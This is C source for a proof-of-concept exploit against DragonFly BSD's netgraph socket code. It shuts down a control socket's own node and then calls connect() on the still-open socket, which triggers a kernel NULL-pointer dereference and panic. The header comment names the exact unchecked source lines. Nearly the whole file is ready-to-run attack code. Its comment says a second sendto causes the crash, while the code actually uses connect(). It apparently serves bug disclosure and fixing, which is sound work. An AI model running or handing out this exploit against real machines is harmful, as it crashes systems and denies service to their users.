/* DF-3516 PoC: v1 ng_socket NULL-deref panic via post-shutdown control socket.
 *
 * sys/netgraph/socket/ng_socket.c:
 *   ngc_send()      :257   error = ng_send_msg(pcbp->sockdata->node, ...)
 *   ng_connect_cntl():694/:701  sockdata->node
 * Both deref pcbp->sockdata with NO NULL check. After the node is shut down
 * (deterministically: sendto(NGM_SHUTDOWN) addressed to the socket's own node,
 * ng_base.c:1256 NGM_SHUTDOWN -> ng_rmnode -> ngs_rmnode:919-933 NULLs
 * pcbp->sockdata and kfrees it), the socket stays open with so_pcb=pcbp, so the
 * next sendto()/connect() on it NULL-derefs -> kernel panic.
 *
 * ngd_send:357, ng_bind:714, ng_setsockaddr:444 all check sockdata==NULL -
 * the two sites above are the omission.
 *
 * Build: cc -o df3516 df3516.c
 * Run:   ./df3516            (as root; control sockets are root-gated)
 * Expect: first sendto returns 0, second sendto panics the kernel
 *         (kernel NULL pointer deref - page fault at ~vaddr 0x0/0x10).
 */
#include <sys/types.h>
#include <sys/socket.h>
#include <string.h>
#include <stdio.h>
#include <unistd.h>
#include <errno.h>
#include <signal.h>

#include <netgraph/ng_message.h>
#include <netgraph/socket/ng_socket.h>	/* NG_CONTROL, struct sockaddr_ng */

#ifndef AF_NETGRAPH
#define AF_NETGRAPH 32		/* DragonFly */
#endif

static int
mk_ng_sock(void)
{
	int s = socket(AF_NETGRAPH, SOCK_DGRAM, NG_CONTROL);
	if (s < 0)
		fprintf(stderr, "socket(AF_NETGRAPH, NG_CONTROL): %s\n",
		    strerror(errno));
	return (s);
}

int
main(void)
{
	struct sockaddr_ng sa;
	struct {
		struct ng_mesg msg;
		char data[64];
	} m;
	int s, n;

	signal(SIGPIPE, SIG_IGN);
	s = mk_ng_sock();
	if (s < 0)
		return (1);

	/* Name our node "shutme" so it can be addressed by path. */
	memset(&sa, 0, sizeof(sa));
	sa.sg_len = 2 + strlen("shutme") + 1;
	sa.sg_family = AF_NETGRAPH;
	strcpy(sa.sg_data, "shutme");
	if (bind(s, (struct sockaddr *)&sa, sa.sg_len) < 0) {
		fprintf(stderr, "bind: %s\n", strerror(errno));
		return (1);
	}

	/* Step 1: NGM_SHUTDOWN addressed to our own node -> ngs_rmnode()
	 * NULLs pcbp->sockdata and frees the ngsock, but leaves the socket
	 * open with so_pcb = pcbp. */
	memset(&m, 0, sizeof(m));
	m.msg.header.version = NG_VERSION;
	m.msg.header.typecookie = NGM_GENERIC_COOKIE;
	m.msg.header.cmd = NGM_SHUTDOWN;
	m.msg.header.arglen = 0;
	m.msg.header.token = 0x3516;
	m.msg.header.flags = 0;

	memset(&sa, 0, sizeof(sa));
	sa.sg_len = 2 + strlen("shutme:") + 1;
	sa.sg_family = AF_NETGRAPH;
	strcpy(sa.sg_data, "shutme:");

	n = sendto(s, &m, sizeof(m.msg), 0, (struct sockaddr *)&sa,
	    sa.sg_len);
	printf("[*] sendto(NGM_SHUTDOWN) = %d errno=%d (%s)\n",
	    n, errno, strerror(errno));
	if (n < 0)
		return (1);
	fflush(stdout);

	/* Step 2: connect() on the still-open socket. soconnect() has no
	 * SS_ISDISCONNECTED gate (unlike sosend, which fails with EPIPE),
	 * so pru_connect -> ngc_connect -> ng_connect_cntl runs with
	 * sockdata == NULL -> "sockdata->node" NULL-deref -> panic. */
	memset(&sa, 0, sizeof(sa));
	sa.sg_len = 2 + strlen("shutme:") + 1;
	sa.sg_family = AF_NETGRAPH;
	strcpy(sa.sg_data, "shutme:");

	strcpy(sa.sg_data, "shutme:link0");
	sa.sg_len = 2 + strlen("shutme:link0") + 1;

	printf("[*] connect() (should panic the kernel)\n");
	fflush(stdout);
	n = connect(s, (struct sockaddr *)&sa, sa.sg_len);
	/* NOT REACHED on success */
	printf("[!] connect returned %d errno=%d (%s) - no panic?\n",
	    n, errno, strerror(errno));
	fflush(stdout);
	return (0);
}
